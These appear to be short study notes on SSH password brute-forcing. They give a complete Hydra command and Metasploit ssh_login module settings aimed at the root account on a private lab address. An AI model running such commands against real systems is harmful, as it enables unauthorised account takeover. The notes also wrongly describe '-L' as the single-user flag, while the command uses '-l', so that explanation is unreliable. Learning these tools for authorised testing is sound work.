Brute Force Attacks

Using Hydra:

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.218.129:22 -t 4 -V

-L to specify user (root)

-P to specify wordlist (wordlist path included)

ssh to say we’re attacking ssh and target IP + Port

-t for how many threads (4 in this case)

-V for verbosity; seeing every single attempt happen

Using Metasploit:

use auxiliary/scanner/ssh/ssh_login

If you don’t know what, you can:

search ssh

to find ssh auxiliary modules

using the module:

set username root

set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt

set rhosts 192.168.218.129